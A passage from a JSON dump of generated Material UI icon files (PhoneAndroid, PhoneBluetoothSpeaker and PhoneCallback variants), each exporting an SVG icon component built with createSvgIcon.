    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M16 1H8C6.34 1 5 2.34 5 4v16c0 1.66 1.34 3 3 3h8c1.66 0 3-1.34 3-3V4c0-1.66-1.34-3-3-3m1 17H7V4h10zm-3 3h-4v-1h4z\"\n}), 'PhoneAndroidOutlined');"
  },
  {
    "path": "packages/mui-icons-material/lib/PhoneAndroidRounded.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M16 1H8C6.34 1 5 2.34 5 4v16c0 1.66 1.34 3 3 3h8c1.66 0 3-1.34 3-3V4c0-1.66-1.34-3-3-3m-2.5 20h-3c-.28 0-.5-.22-.5-.5s.22-.5.5-.5h3c.28 0 .5.22.5.5s-.22.5-.5.5m3.5-3H7V4h10z\"\n}), 'PhoneAndroidRounded');"
  },
  {
    "path": "packages/mui-icons-material/lib/PhoneAndroidRounded.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M16 1H8C6.34 1 5 2.34 5 4v16c0 1.66 1.34 3 3 3h8c1.66 0 3-1.34 3-3V4c0-1.66-1.34-3-3-3m-2.5 20h-3c-.28 0-.5-.22-.5-.5s.22-.5.5-.5h3c.28 0 .5.22.5.5s-.22.5-.5.5m3.5-3H7V4h10z\"\n}), 'PhoneAndroidRounded');"
  },
  {
    "path": "packages/mui-icons-material/lib/PhoneAndroidSharp.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M19 1H5v22h14zm-5 20h-4v-1h4zm3-3H7V4h10z\"\n}), 'PhoneAndroidSharp');"
  },
  {
    "path": "packages/mui-icons-material/lib/PhoneAndroidSharp.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M19 1H5v22h14zm-5 20h-4v-1h4zm3-3H7V4h10z\"\n}), 'PhoneAndroidSharp');"
  },
  {
    "path": "packages/mui-icons-material/lib/PhoneAndroidTwoTone.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)([/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M7 4h10v14H7z\",\n  opacity: \".3\"\n}, \"0\"), /*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M16 1H8C6.34 1 5 2.34 5 4v16c0 1.66 1.34 3 3 3h8c1.66 0 3-1.34 3-3V4c0-1.66-1.34-3-3-3m-2 20h-4v-1h4zm3-3H7V4h10z\"\n}, \"1\")], 'PhoneAndroidTwoTone');"
  },
  {
    "path": "packages/mui-icons-material/lib/PhoneAndroidTwoTone.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon([/*#__PURE__*/_jsx(\"path\", {\n  d: \"M7 4h10v14H7z\",\n  opacity: \".3\"\n}, \"0\"), /*#__PURE__*/_jsx(\"path\", {\n  d: \"M16 1H8C6.34 1 5 2.34 5 4v16c0 1.66 1.34 3 3 3h8c1.66 0 3-1.34 3-3V4c0-1.66-1.34-3-3-3m-2 20h-4v-1h4zm3-3H7V4h10z\"\n}, \"1\")], 'PhoneAndroidTwoTone');"
  },
  {
    "path": "packages/mui-icons-material/lib/PhoneBluetoothSpeaker.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M14.71 9.5 17 7.21V11h.5l2.85-2.85L18.21 6l2.15-2.15L17.5 1H17v3.79L14.71 2.5l-.71.71L16.79 6 14 8.79zM18 2.91l.94.94-.94.94zm0 4.3.94.94-.94.94zm2 8.29c-1.25 0-2.45-.2-3.57-.57-.35-.11-.74-.03-1.02.24l-2.2 2.2c-2.83-1.44-5.15-3.75-6.59-6.59l2.2-2.21c.28-.26.36-.65.25-1C8.7 6.45 8.5 5.25 8.5 4c0-.55-.45-1-1-1H4c-.55 0-1 .45-1 1 0 9.39 7.61 17 17 17 .55 0 1-.45 1-1v-3.5c0-.55-.45-1-1-1\"\n}), 'PhoneBluetoothSpeaker');"
  },
  {
    "path": "packages/mui-icons-material/lib/PhoneBluetoothSpeaker.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M14.71 9.5 17 7.21V11h.5l2.85-2.85L18.21 6l2.15-2.15L17.5 1H17v3.79L14.71 2.5l-.71.71L16.79 6 14 8.79zM18 2.91l.94.94-.94.94zm0 4.3.94.94-.94.94zm2 8.29c-1.25 0-2.45-.2-3.57-.57-.35-.11-.74-.03-1.02.24l-2.2 2.2c-2.83-1.44-5.15-3.75-6.59-6.59l2.2-2.21c.28-.26.36-.65.25-1C8.7 6.45 8.5 5.25 8.5 4c0-.55-.45-1-1-1H4c-.55 0-1 .45-1 1 0 9.39 7.61 17 17 17 .55 0 1-.45 1-1v-3.5c0-.55-.45-1-1-1\"\n}), 'PhoneBluetoothSpeaker');"
  },
  {
    "path": "packages/mui-icons-material/lib/PhoneBluetoothSpeakerOutlined.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M20 15.5c-1.25 0-2.45-.2-3.57-.57-.1-.03-.21-.05-.31-.05-.26 0-.51.1-.71.29l-2.2 2.2c-2.83-1.44-5.15-3.75-6.59-6.59l2.2-2.21c.28-.26.36-.65.25-1C8.7 6.45 8.5 5.25 8.5 4c0-.55-.45-1-1-1H4c-.55 0-1 .45-1 1 0 9.39 7.61 17 17 17 .55 0 1-.45 1-1v-3.5c0-.55-.45-1-1-1M5.03 5h1.5c.07.88.22 1.75.45 2.58l-1.2 1.21c-.4-1.21-.66-2.47-.75-3.79M19 18.97c-1.32-.09-2.6-.35-3.8-.76l1.2-1.2c.85.24 1.72.39 2.6.45zM14.71 9.5 17 7.21V11h.5l2.85-2.85L18.21 6l2.15-2.15L17.5 1H17v3.79L14.71 2.5l-.71.71L16.79 6 14 8.79zM18 2.91l.94.94-.94.94zm0 4.3.94.94-.94.94z\"\n}), 'PhoneBluetoothSpeakerOutlined');"
  },
  {
    "path": "packages/mui-icons-material/lib/PhoneBluetoothSpeakerOutlined.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M20 15.5c-1.25 0-2.45-.2-3.57-.57-.1-.03-.21-.05-.31-.05-.26 0-.51.1-.71.29l-2.2 2.2c-2.83-1.44-5.15-3.75-6.59-6.59l2.2-2.21c.28-.26.36-.65.25-1C8.7 6.45 8.5 5.25 8.5 4c0-.55-.45-1-1-1H4c-.55 0-1 .45-1 1 0 9.39 7.61 17 17 17 .55 0 1-.45 1-1v-3.5c0-.55-.45-1-1-1M5.03 5h1.5c.07.88.22 1.75.45 2.58l-1.2 1.21c-.4-1.21-.66-2.47-.75-3.79M19 18.97c-1.32-.09-2.6-.35-3.8-.76l1.2-1.2c.85.24 1.72.39 2.6.45zM14.71 9.5 17 7.21V11h.5l2.85-2.85L18.21 6l2.15-2.15L17.5 1H17v3.79L14.71 2.5l-.71.71L16.79 6 14 8.79zM18 2.91l.94.94-.94.94zm0 4.3.94.94-.94.94z\"\n}), 'PhoneBluetoothSpeakerOutlined');"
  },
  {
    "path": "packages/mui-icons-material/lib/PhoneBluetoothSpeakerRounded.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"m19.23 15.26-2.54-.29c-.61-.07-1.21.14-1.64.57l-1.84 1.84c-2.83-1.44-5.15-3.75-6.59-6.59l1.85-1.85c.43-.43.64-1.03.57-1.64l-.29-2.52c-.12-1.01-.97-1.77-1.99-1.77H5.03c-1.13 0-2.07.94-2 2.07.53 8.54 7.36 15.36 15.89 15.89 1.13.07 2.07-.87 2.07-2v-1.73c.01-1.01-.75-1.86-1.76-1.98m-2.44-9.25-2.45 2.45c-.2.2-.2.52 0 .71.2.2.52.2.71 0L17 7.23v3.15c0 .2.12.39.31.47.06.03.13.04.19.04.13 0 .26-.05.36-.15l2.18-2.18c.2-.2.2-.52 0-.71l-1.83-1.83 1.83-1.83c.09-.09.15-.22.15-.36s-.05-.26-.15-.36l-2.18-2.18c-.14-.14-.36-.19-.55-.11s-.31.26-.31.46v3.15l-1.95-1.95c-.2-.2-.52-.2-.71 0-.2.2-.2.52 0 .71zm1.22-3.15.96.96-.96.96zm0 4.37.96.96-.96.96z\"\n}), 'PhoneBluetoothSpeakerRounded');"
  },
  {
    "path": "packages/mui-icons-material/lib/PhoneBluetoothSpeakerRounded.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"m19.23 15.26-2.54-.29c-.61-.07-1.21.14-1.64.57l-1.84 1.84c-2.83-1.44-5.15-3.75-6.59-6.59l1.85-1.85c.43-.43.64-1.03.57-1.64l-.29-2.52c-.12-1.01-.97-1.77-1.99-1.77H5.03c-1.13 0-2.07.94-2 2.07.53 8.54 7.36 15.36 15.89 15.89 1.13.07 2.07-.87 2.07-2v-1.73c.01-1.01-.75-1.86-1.76-1.98m-2.44-9.25-2.45 2.45c-.2.2-.2.52 0 .71.2.2.52.2.71 0L17 7.23v3.15c0 .2.12.39.31.47.06.03.13.04.19.04.13 0 .26-.05.36-.15l2.18-2.18c.2-.2.2-.52 0-.71l-1.83-1.83 1.83-1.83c.09-.09.15-.22.15-.36s-.05-.26-.15-.36l-2.18-2.18c-.14-.14-.36-.19-.55-.11s-.31.26-.31.46v3.15l-1.95-1.95c-.2-.2-.52-.2-.71 0-.2.2-.2.52 0 .71zm1.22-3.15.96.96-.96.96zm0 4.37.96.96-.96.96z\"\n}), 'PhoneBluetoothSpeakerRounded');"
  },
  {
    "path": "packages/mui-icons-material/lib/PhoneBluetoothSpeakerSharp.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M14.71 9.5 17 7.21V11h.5l2.85-2.85L18.21 6l2.15-2.15L17.5 1H17v3.79L14.71 2.5l-.71.71L16.79 6 14 8.79zM18 2.91l.94.94-.94.94zm0 4.3.94.94-.94.94zm3 8.25-5.27-.61-2.52 2.52c-2.83-1.44-5.15-3.75-6.59-6.59l2.53-2.53L8.54 3H3.03C2.45 13.18 10.82 21.55 21 20.97z\"\n}), 'PhoneBluetoothSpeakerSharp');"
  },
  {
    "path": "packages/mui-icons-material/lib/PhoneBluetoothSpeakerSharp.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M14.71 9.5 17 7.21V11h.5l2.85-2.85L18.21 6l2.15-2.15L17.5 1H17v3.79L14.71 2.5l-.71.71L16.79 6 14 8.79zM18 2.91l.94.94-.94.94zm0 4.3.94.94-.94.94zm3 8.25-5.27-.61-2.52 2.52c-2.83-1.44-5.15-3.75-6.59-6.59l2.53-2.53L8.54 3H3.03C2.45 13.18 10.82 21.55 21 20.97z\"\n}), 'PhoneBluetoothSpeakerSharp');"
  },
  {
    "path": "packages/mui-icons-material/lib/PhoneBluetoothSpeakerTwoTone.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)([/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M15.2 18.21c1.21.41 2.48.67 3.8.76v-1.5c-.88-.07-1.75-.22-2.6-.45zM6.54 5h-1.5c.09 1.32.34 2.58.75 3.79l1.2-1.21c-.24-.83-.39-1.7-.45-2.58\",\n  opacity: \".3\"\n}, \"0\"), /*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M20 15.5c-1.25 0-2.45-.2-3.57-.57-.1-.03-.21-.05-.31-.05-.26 0-.51.1-.71.29l-2.2 2.2c-2.83-1.44-5.15-3.75-6.59-6.59l2.2-2.21c.28-.26.36-.65.25-1C8.7 6.45 8.5 5.25 8.5 4c0-.55-.45-1-1-1H4c-.55 0-1 .45-1 1 0 9.39 7.61 17 17 17 .55 0 1-.45 1-1v-3.5c0-.55-.45-1-1-1M5.03 5h1.5c.07.88.22 1.75.45 2.58l-1.2 1.21c-.4-1.21-.66-2.47-.75-3.79M19 18.97c-1.32-.09-2.6-.35-3.8-.76l1.2-1.2c.85.24 1.72.39 2.6.45zM14.71 9.5 17 7.21V11h.5l2.85-2.85L18.21 6l2.15-2.15L17.5 1H17v3.79L14.71 2.5l-.71.71L16.79 6 14 8.79zM18 2.91l.94.94-.94.94zm0 4.3.94.94-.94.94z\"\n}, \"1\")], 'PhoneBluetoothSpeakerTwoTone');"
  },
  {
    "path": "packages/mui-icons-material/lib/PhoneBluetoothSpeakerTwoTone.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon([/*#__PURE__*/_jsx(\"path\", {\n  d: \"M15.2 18.21c1.21.41 2.48.67 3.8.76v-1.5c-.88-.07-1.75-.22-2.6-.45zM6.54 5h-1.5c.09 1.32.34 2.58.75 3.79l1.2-1.21c-.24-.83-.39-1.7-.45-2.58\",\n  opacity: \".3\"\n}, \"0\"), /*#__PURE__*/_jsx(\"path\", {\n  d: \"M20 15.5c-1.25 0-2.45-.2-3.57-.57-.1-.03-.21-.05-.31-.05-.26 0-.51.1-.71.29l-2.2 2.2c-2.83-1.44-5.15-3.75-6.59-6.59l2.2-2.21c.28-.26.36-.65.25-1C8.7 6.45 8.5 5.25 8.5 4c0-.55-.45-1-1-1H4c-.55 0-1 .45-1 1 0 9.39 7.61 17 17 17 .55 0 1-.45 1-1v-3.5c0-.55-.45-1-1-1M5.03 5h1.5c.07.88.22 1.75.45 2.58l-1.2 1.21c-.4-1.21-.66-2.47-.75-3.79M19 18.97c-1.32-.09-2.6-.35-3.8-.76l1.2-1.2c.85.24 1.72.39 2.6.45zM14.71 9.5 17 7.21V11h.5l2.85-2.85L18.21 6l2.15-2.15L17.5 1H17v3.79L14.71 2.5l-.71.71L16.79 6 14 8.79zM18 2.91l.94.94-.94.94zm0 4.3.94.94-.94.94z\"\n}, \"1\")], 'PhoneBluetoothSpeakerTwoTone');"
  },
  {
    "path": "packages/mui-icons-material/lib/PhoneCallback.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M6.62 10.79c1.44 2.83 3.76 5.14 6.59 6.59l2.2-2.2c.27-.27.67-.36 1.02-.24 1.12.37 2.33.57 3.57.57.55 0 1 .45 1 1V20c0 .55-.45 1-1 1-9.39 0-17-7.61-17-17 0-.55.45-1 1-1h3.5c.55 0 1 .45 1 1 0 1.25.2 2.45.57 3.57.11.35.03.74-.25 1.02zm13.54-7.1-.71-.7L13 9.29V5h-1v6h6v-1h-4.15z\"\n}), 'PhoneCallback');"
  },
  {
    "path": "packages/mui-icons-material/lib/PhoneCallback.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M6.62 10.79c1.44 2.83 3.76 5.14 6.59 6.59l2.2-2.2c.27-.27.67-.36 1.02-.24 1.12.37 2.33.57 3.57.57.55 0 1 .45 1 1V20c0 .55-.45 1-1 1-9.39 0-17-7.61-17-17 0-.55.45-1 1-1h3.5c.55 0 1 .45 1 1 0 1.25.2 2.45.57 3.57.11.35.03.74-.25 1.02zm13.54-7.1-.71-.7L13 9.29V5h-1v6h6v-1h-4.15z\"\n}), 'PhoneCallback');"
  },
  {
    "path": "packages/mui-icons-material/lib/PhoneCallbackOutlined.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M20 15.51c-1.24 0-2.45-.2-3.57-.57-.1-.04-.21-.05-.31-.05-.26 0-.51.1-.71.29l-2.2 2.2c-2.83-1.45-5.15-3.76-6.59-6.59l2.2-2.2c.28-.28.36-.67.25-1.02C8.7 6.45 8.5 5.25 8.5 4c0-.55-.45-1-1-1H4c-.55 0-1 .45-1 1 0 9.39 7.61 17 17 17 .55 0 1-.45 1-1v-3.49c0-.55-.45-1-1-1M5.03 5h1.5c.07.89.22 1.76.46 2.59l-1.2 1.2c-.41-1.2-.67-2.47-.76-3.79M19 18.97c-1.32-.09-2.59-.35-3.8-.75l1.19-1.19c.85.24 1.72.39 2.6.45v1.49zM18 9h-2.59l5.02-5.02-1.41-1.41L14 7.59V5h-2v6h6z\"\n}), 'PhoneCallbackOutlined');"
  },
  {
    "path": "packages/mui-icons-material/lib/PhoneCallbackOutlined.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M20 15.51c-1.24 0-2.45-.2-3.57-.57-.1-.04-.21-.05-.31-.05-.26 0-.51.1-.71.29l-2.2 2.2c-2.83-1.45-5.15-3.76-6.59-6.59l2.2-2.2c.28-.28.36-.67.25-1.02C8.7 6.45 8.5 5.25 8.5 4c0-.55-.45-1-1-1H4c-.55 0-1 .45-1 1 0 9.39 7.61 17 17 17 .55 0 1-.45 1-1v-3.49c0-.55-.45-1-1-1M5.03 5h1.5c.07.89.22 1.76.46 2.59l-1.2 1.2c-.41-1.2-.67-2.47-.76-3.79M19 18.97c-1.32-.09-2.59-.35-3.8-.75l1.19-1.19c.85.24 1.72.39 2.6.45v1.49zM18 9h-2.59l5.02-5.02-1.41-1.41L14 7.59V5h-2v6h6z\"\n}), 'PhoneCallbackOutlined');"
  },
  {
    "path": "packages/mui-icons-material/lib/PhoneCallbackRounded.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"m19.23 15.26-2.54-.29c-.61-.07-1.21.14-1.64.57l-1.84 1.84c-2.83-1.44-5.15-3.75-6.59-6.59l1.85-1.85c.43-.43.64-1.03.57-1.64l-.29-2.52c-.12-1.01-.97-1.77-1.99-1.77H5.03c-1.13 0-2.07.94-2 2.07.53 8.54 7.36 15.36 15.89 15.89 1.13.07 2.07-.87 2.07-2v-1.73c.01-1.01-.75-1.86-1.76-1.98M13 11h4c.55 0 1-.45 1-1s-.45-1-1-1h-1.59l4.31-4.31c.39-.39.39-1.02 0-1.41s-1.02-.39-1.41 0L14 7.59V6c0-.55-.45-1-1-1s-1 .45-1 1v4c0 .55.45 1 1 1\"\n}), 'PhoneCallbackRounded');"
  },
  {
    "path": "packages/mui-icons-material/lib/PhoneCallbackRounded.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"m19.23 15.26-2.54-.29c-.61-.07-1.21.14-1.64.57l-1.84 1.84c-2.83-1.44-5.15-3.75-6.59-6.59l1.85-1.85c.43-.43.64-1.03.57-1.64l-.29-2.52c-.12-1.01-.97-1.77-1.99-1.77H5.03c-1.13 0-2.07.94-2 2.07.53 8.54 7.36 15.36 15.89 15.89 1.13.07 2.07-.87 2.07-2v-1.73c.01-1.01-.75-1.86-1.76-1.98M13 11h4c.55 0 1-.45 1-1s-.45-1-1-1h-1.59l4.31-4.31c.39-.39.39-1.02 0-1.41s-1.02-.39-1.41 0L14 7.59V6c0-.55-.45-1-1-1s-1 .45-1 1v4c0 .55.45 1 1 1\"\n}), 'PhoneCallbackRounded');"
  },
  {
    "path": "packages/mui-icons-material/lib/PhoneCallbackSharp.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"m15.73 14.85-2.52 2.52c-2.83-1.44-5.15-3.75-6.59-6.59l2.53-2.53L8.54 3H3.03C2.45 13.18 10.82 21.55 21 20.97v-5.51zM18 9h-2.59l5.02-5.02-1.41-1.41L14 7.59V5h-2v6h6z\"\n}), 'PhoneCallbackSharp');"
  },
  {
    "path": "packages/mui-icons-material/lib/PhoneCallbackSharp.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"m15.73 14.85-2.52 2.52c-2.83-1.44-5.15-3.75-6.59-6.59l2.53-2.53L8.54 3H3.03C2.45 13.18 10.82 21.55 21 20.97v-5.51zM18 9h-2.59l5.02-5.02-1.41-1.41L14 7.59V5h-2v6h6z\"\n}), 'PhoneCallbackSharp');"
  },
  {
    "path": "packages/mui-icons-material/lib/PhoneCallbackTwoTone.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)([/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M6.54 5h-1.5c.09 1.32.35 2.59.75 3.8l1.2-1.2c-.24-.84-.39-1.71-.45-2.6m8.66 13.21c1.2.41 2.48.67 3.8.75v-1.49c-.88-.07-1.75-.22-2.6-.45z\",\n  opacity: \".3\"\n}, \"0\"), /*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M20 15.51c-1.24 0-2.45-.2-3.57-.57-.1-.04-.21-.05-.31-.05-.26 0-.51.1-.71.29l-2.2 2.2c-2.83-1.45-5.15-3.76-6.59-6.59l2.2-2.2c.28-.28.36-.67.25-1.02C8.7 6.45 8.5 5.25 8.5 4c0-.55-.45-1-1-1H4c-.55 0-1 .45-1 1 0 9.39 7.61 17 17 17 .55 0 1-.45 1-1v-3.49c0-.55-.45-1-1-1M5.03 5h1.5c.07.89.22 1.76.46 2.59l-1.2 1.2c-.41-1.2-.67-2.47-.76-3.79M19 18.97c-1.32-.09-2.59-.35-3.8-.75l1.19-1.19c.85.24 1.72.39 2.6.45v1.49zM18 9h-2.59l5.02-5.02-1.41-1.41L14 7.59V5h-2v6h6z\"\n}, \"1\")], 'PhoneCallbackTwoTone');"
  },
  {
    "path": "packages/mui-icons-material/lib/PhoneCallbackTwoTone.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon([/*#__PURE__*/_jsx(\"path\", {\n  d: \"M6.54 5h-1.5c.09 1.32.35 2.59.75 3.8l1.2-1.2c-.24-.84-.39-1.71-.45-2.6m8.66 13.21c1.2.41 2.48.67 3.8.75v-1.49c-.88-.07-1.75-.22-2.6-.45z\",\n  opacity: \".3\"\n}, \"0\"), /*#__PURE__*/_jsx(\"path\", {\n  d: \"M20 15.51c-1.24 0-2.45-.2-3.57-.57-.1-.04-.21-.05-.31-.05-.26 0-.51.1-.71.29l-2.2 2.2c-2.83-1.45-5.15-3.76-6.59-6.59l2.2-2.2c.28-.28.36-.67.25-1.02C8.7 6.45 8.5 5.25 8.5 4c0-.55-.45-1-1-1H4c-.55 0-1 .45-1 1 0 9.39 7.61 17 17 17 .55 0 1-.45 1-1v-3.49c0-.55-.45-1-1-1M5.03 5h1.5c.07.89.22 1.76.46 2.59l-1.2 1.2c-.41-1.2-.67-2.47-.76-3.79M19 18.97c-1.32-.09-2.59-.35-3.8-.75l1.19-1.19c.85.24 1.72.39 2.6.45v1.49zM18 9h-2.59l5.02-5.02-1.41-1.41L14 7.59V5h-2v6h6z\"\n}, \"1\")], 'PhoneCallbackTwoTone');"
  },
  {
    "path": "packages/mui-icons-material/lib/PhoneDisabled.js",
